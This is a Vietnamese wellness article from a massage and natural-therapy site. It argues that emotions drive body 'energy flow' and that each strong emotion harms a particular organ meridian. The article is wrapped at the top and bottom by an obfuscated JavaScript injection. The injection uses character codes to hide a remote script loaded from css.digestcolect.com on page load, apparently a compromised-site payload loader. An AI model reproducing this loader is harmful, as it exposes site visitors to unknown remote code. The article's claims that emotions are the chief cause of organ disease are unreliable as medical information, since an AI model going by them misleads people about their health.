Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
Cảm xúc và dòng chảy năng lượng

Cảm xúc và dòng chảy năng lượng

Cảm xúc và dòng chảy năng lượng là gì?

Cảm xúc và dòng chảy năng lượng trong cơ thể có sức ảnh hưởng lớn với mỗi người chúng ta. Cảm xúc có ảnh hưởng đến sinh lý của mỗi con người và dòng chảy năng lượng có tác động trực tiếp đến cảm xúc.Bởi vậy, làm chủ được dòng chảy năng lượng ta sẽ làm chủ được cảm xúc của chính mình. Cùng Jade House Việt Nam (www.jadehousevn.com) tìm hiểu về cảm xúc và dòng chảy năng lượng trong cơ thể nhé!

“Con người là một vũ trụ thu nhỏ”; trong vũ trụ đó tồn tại cơ thể vật lý, cơ thể năng lượng và cảm xúc. Sự chuyển động của năng lượng trong cơ thể được gọi là dòng chảy năng lượng. Cơ thể con người cũng bị chi phối bởi các quy luật trong tự nhiên Sinh – Lão – bệnh – Tử. Cơ thể con người chịu những tác động từ sự thay đổi theo nhịp điệu ngày đêm, theo thời tiết nóng lạnh hay mưa nắng, theo sự thay đổi của các vì tinh tú, và sự vận động của trái đất…đặc biệt chịu ảnh hưởng lớn từ chính cảm xúc do bản thân sản sinh ra. Có nghĩa là đòng chảy năng lượng điều khiển cảm xúc của chúng ta và cảm xúc chi phối hành động, phản ứng của chúng ta trước tác động của các sự vật, hiện tượng trong môi trường xung quanh.

Việc đánh giá và điều trị các cảm xúc hay khiểm soát dòng chảy năng lượng, đặc biệt là trong mối tương quan với các kinh mạch mà các cảm xúc tác động đến. Cảm xúc phản ánh các suy nghĩ của bạn. Cảm xúc là một phản ứng vật lý được tạo ra khi một người cảm nhận một tình huống từ quan điểm và góc nhìn của bản thân. Chính các cảm xúc mạnh là nguyên nhân nội tại chủ yếu của bệnh tật. Trong khi các cảm xúc mạnh mẽ thường là những phản ứng thông thường của chúng ta với môi trường bên ngoài, khi những cảm xúc này bị mất kiểm soát, sự mất cân bằng Âm – Dương sẽ xảy ra, các cơ quan và các hệ thống cơ quan trong cơ thể của chúng ta sẽ bị hủy hoại và bệnh tật tràn vào, dòng chảy của khí và huyết sẽ bị rối loạn, các kinh mạch bị tắc nghẽn, đặc biệt là những kinh mạch gắn với một loại cảm xúc riêng biệt. Chúng ta tách suy nghĩ khỏi các cảm giác, nhưng ở phương Đông lại không như vậy. Các cảm xúc thực sự là suy nghĩ kết hợp với cảm giác. Suy nghĩ lái cảm giác, và cảm giác tự chúng tạo ra môi trường hóa chất, thái độ và môi trường điện có ảnh hưởng đến các cơ quan và các kinh mạch.

Tác động của cảm xúc

Cảm xúc là thể chất, bản năng và có thể đo lường được. Cảm xúc có thể được định lượng bằng lưu lượng máu, nhịp tim, hoạt động của não, nét mặt và cử động cơ thể.

Cảm giác được tạo ra bởi ý thức. Nó nằm giữa cảm xúc mà bạn trải nghiệm và phản ứng của bạn với cảm xúc đó thông qua niềm tin và tri giác, đó chính là cảm giác, nó nằm ở khả năng lựa chọn của bạn.

Việc bạn phản ứng hay hồi đáp với mọi người trong các tình huống khác nhau sẽ khiến bạn nhận ra bạn đang làm việc với cảm xúc hay cảm giác.

Giữa cảm xúc và cảm giác, bạn có quyền lựa chọn lĩnh hội và cân bằng nó, khiến nó trở thành sức mạnh tinh thần của bạn, thậm chí thay đổi cuộc sống của bạn tốt hơn.

Khi bạn học được cách làm chủ cảm xúc của mình và kết nối với cảm giác, bạn sẽ giải phóng con người thật của mình những kiềm hãm của các cảm xúc tiêu cực.

Sự hoạt động của dòng chảy năng lượngcảm xúc

Mọi vật trên trái đất, được cấu thành bởi 5 yếu tố cơ bản nhất đó là Đất – Nước – Gió – Lửa – Khoảng không, 5 yếu tố này tạo nên chính bản thân trái đất và mọi vật trên trên hành tinh này và cũng như vậy, nó tạo nên cơ thể con người.

Đất tượng trưng cho những vật chất đặc, rắn; đó chính là xương, cơ, dây chằng, gân… Nước tượng trưng cho chất lỏng, có tính kết dính ; chúng là máu, nước mắt, nước bọt, dịch vị, dịch khớp…Gió tượng trưng cho sự chuyển động, là không khí đây là hơi thở của mỗi con người … Lửa là hơi ấm, nhiệt lượng tượng trưng cho thân nhiệt, hơi ấm của lòng bàn tay, bàn chân…Khoảng không là các khoảng trống trong cơ thể như các hệ thông xoang, hệ thống khoang, các lòng ống tiêu hoá… Tuy nhiên, cơ thể con người còn có một phần đặc biệt đó chính là bộ não, nơi tồn tại các hoạt động tư duy, ý thức, tình cảm, cảm xúc, trí tuệ, sự phán đoán, suy xét, tình yêu, thương ghét…

Chúng ta có thể hình dung thế này, các thành phần trong cơ thể lưu thông thì sẽ giúp cơ thể tồn tại, thích nghi với các hoạt động trong cuộc sống, các thành phần đó có thể được ví như là 6 hãng xe ô tô lưu thông trên đường, mỗi hãng xe có nhiều loại xe khác nhau, sản xuất ở những thời điểm khác nhau, có loại cũ, có loại mới, có loại nhiều tiền, có loại ít tiền. 6 hãng xe đó là đất, nước, gió, lửa, khoảng không và cảm xúc. Nếu như toàn bộ các xe ô tổ thuộc các hãng xe đó lưu thông một cách đều đặn, hài hoà trên đường thì mọi giao thông sẽ trở nên thông suốt. Thông suốt tức là khoẻ mạnh. Trong 6 hãng xe đó, thì có hãng xe mang tên Cảm xúc là có sự đổi mới hết sức nhanh chóng và nhộn nhịp so với 5 hãng xe kể trên(Đất, Nước, Lửa, Gió và Khoảng không). Hãng xe cảm xúc đổi mới với tốc độc chóng mặt, vô hướng và khó có thể dự đoán, bởi vì nó là do một phần thuộc bản chất hoạt động của bộ não tạo ra. Chúng ta biết rằng, hoạt động của bộ não có lẽ là hoạt động nhộn nhịp và mạnh mẽ nhất trong cơ thể, liên tục, liên tục có sự thay cũ đổi mới trong các suy nghĩ, ý tưởng, cảm nhận, cảm xúc, đánh giá… của mỗi chúng ta. Quay trở lại xem xét tình trạng giao thông trên đường, nếu trong trường hợp 5 hãng xe kia ổn định còn duy nhất hãng xe cảm xúc liên tục thay đổi thì chắc chắn sẽ có sự xáo trộn về giao thông, bởi vì đường giao thông sẽ quá tải, các biển báo sẽ ít phát huy tác dụng, mọi thứ sẽ trở nên lộn xộn và kết quả là sự tắc nghẽn, đình trệ. Tắc nghẽn, đình trện là bệnh tật.

Các loại cảm xúc của con người

Cảm xúc vui quá độ tiêu thụ năng lượng Kinh mạch Tim, dẫn đến sự thiếu hụt và làm hỗn loạn dòng chảy năng lượng cho Tim. Nó cũng làm trái tim thư giãn, do đó trái tim không thể thực hiện hiệu quả chức năng của nó được. Kết quả có thể là cảm giác lo âu, chứng mất ngủ, tim đập nhanh, quá khích, và chứng cuồng. Dòng chảy năng lượng có xu hướng kích thích cao hơn bình thường.

Cảm xúc giận dữ thái quá tiêu thụ năng lượng Kinh mạch Gan, dẫn đến sự thiếu hụt dòng chảy năng lượng di chuyển đến gan. Nó cũng dâng lên đầu, gây chứng đau đầu, cao huyết áp, và nguy cơ đột quỵ. Nó cũng gây ra sự cuồng nộ, oán giận và thất vọng. Dòng chảy năng lương trở nên mất kiểm soát.

Cảm xúc đau thương và buồn rầu thái quá đốt cháy năng lượng Kinh mạch Phổi, dẫn đến sự thiếu năng lượng cho phổi, đồng thời gây ra chứng đau chướng bụng. Các triệu chứng bao gồm khóc, co thắt ngực, và các vấn đề về phổi.

Lo nghĩ thái quá là trạng thái suy nghĩ miên man, làm tiêu hao năng lượng Kinh mạch Lá lách, dẫn đến thiếu dòng chảy năng lượng di chuyển đến lá lách, gây ra sự tắc nghẽn trong lá lách. Các biểu hiện là kích thích thần kinh thái quá, dẫn đến mệt mỏi và sự thờ ơ.

Sự hoảng sợ làm phân tán khí và làm rối loạn dòng chảy năng lượng Kinh mạch Túi mật. Sự hoảng sợ, chứ không phải nỗi sợ, bị gây ra do những thứ làm chúng ta giật mình ngay tại thời điểm hiện hành. Nó là cha đẻ của tính thiếu quyết đoán, sự lẫn lộn, thiếu dũng khí, và thậm chí còn có thể hủy hoại dòng chảy năng lượng Kinh mạch Thận nếu các tình huống gây hoảng hốt trở thành kinh niên, như trong trường hợp lạm dụng lâu ngày.

Nỗi sợ kinh niên tiêu tốn dòng chảy năng lượng Kinh mạch Thận, dẫn đến sự thiếu hụt dòng chảy năng lượng chuyến đến thận. Nỗi sợ cũng o ép dòng chảy năng lượng di chuyển đến Thận đi xuống, gây ra các vấn đề ở nửa dưới của cơ thể và các vấn đề của thận. Cơn sốc gây ra những hỗn loạn trong thận, làm giảm hiệu quả của cơ quan này.

Vậy chúng ta thấy, để giữ cho dòng chảy năng lượng trong cơ thể được đều đặn, hài hoà và mục tiêu cuối cùng là sức khoẻ, thì chúng ta cần phải kiểm soát cảm xúc của mình. Càng giữ cho các cảm xúc được hài hoà, ít giao động, được kiểm soát thì chúng ta càng cảm thấy khoẻ mạnh. Bí quyết nằm ở sự chú tâm. Để kiểm soát cảm xúc được tốt,tức là kiểm soát được dòng chảy năng lượng chuyển đến các cơ quan nội tạng của chúng ta cần phải xem xét cảm xúc đấy kĩ lưỡng, hãy cố gắng dừng lại đôi chút để quan sát cảm xúc này, trước khi để nó “va chạm” với những kinh nghiệm cũ của chúng ta để tạo nên những cảm xúc mới. Dòng chảy êm đềm chính là chìa khoá vàng của sức khoẻ bên ngoài và nội tạng bên trong.

Khi học massage hay các phương pháp trị liệu tự nhiên cũng vậy, chúng ta cần phải luôn đặt chú ý vào cơ thể mình, vào từng động tác, cử chỉ, lời nói, bước đi, tư thế… của mình. Đơn cử, nếu bạn làm một động tác massage gia đình hay một kĩ thuật trị liệu cho phụ nữ sau sinh hoặc đang mang bầu thì điều quan trọng nhất là bạn cần phải tập trung vào đôi tay của mình và tư thế của mình, nếu bạn ngồi gù lưng, co vai, lệch lạc cơ thể thì bạn sẽ nhanh chóng bị mỏi mệt và hiệu quả của động tác sẽ không được nâng cao.

Hãy giữ cho dòng chảy năng lượng trong bạn luôn chảy mãi và làm tốt nhất có thể để đắm mình trong năng lượng của sự truyền cảm hứng.

(Dunji, Sưu tầm và biên soạn)

 

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();